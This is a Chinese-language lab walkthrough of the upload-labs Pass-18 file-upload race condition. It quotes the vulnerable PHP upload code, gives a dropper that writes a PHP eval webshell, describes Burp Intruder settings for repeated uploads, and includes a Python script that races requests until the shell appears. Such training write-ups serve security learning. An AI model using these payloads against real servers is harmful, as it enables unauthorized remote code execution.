1. 程式人生 > 其它 >檔案上傳 upload-labs Pass-18 條件競爭

檔案上傳 upload-labs Pass-18 條件競爭

Pass-18 條件競爭
審計原始碼

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif型別檔案!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

可以看到首先使用move_uploaded_file將檔案進行上傳,然後進行字尾名判斷,如果不滿足.jpg|.png|.gif檔案型別,直接刪除
這裡的漏洞就是我們的檔案首先可以上傳到服務區,伺服器經過if語句判斷是否刪除該檔案
那麼我們在伺服器沒有刪除檔案的時候,進行訪問上傳的php檔案,上傳php訪問執行後會生成一個一句話木馬檔案
上傳檔案取名為create-shell.php

<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>


首先我們使用burpsuite抓包,爆破模式一直上傳檔案


首先clear

清楚所有變數

在末尾加入1,然後點選設定為變數

然後點選payload

然後點選Options,設定完點選Start attack為開始攻擊,這裡先展示不開始攻擊

寫一個訪問creat-shell.php檔案,並判斷shell.php是否已經生成的python指令碼
轉載於:【upload-labs】條件競爭pass-17~pass-18

import requests
url1 = "http://ip/upload-labs/upload/create-shell.php"    # 定義訪問 creat-shell.php
url2 = "http://ip/upload-labs/upload/shell.php"           # 定義訪問 shell.php
while True:  # 定義死迴圈
	html1 = requests.get(url1)  # 請求 create-shell.php
	html2 = requests.get(url2)  # 請求 shell.php
	if html2.status_code == 200:  # 如果 shell.php 返回的http狀態碼為200
		print('Good job,Win Win Win')  # 列印 Good job.....
		break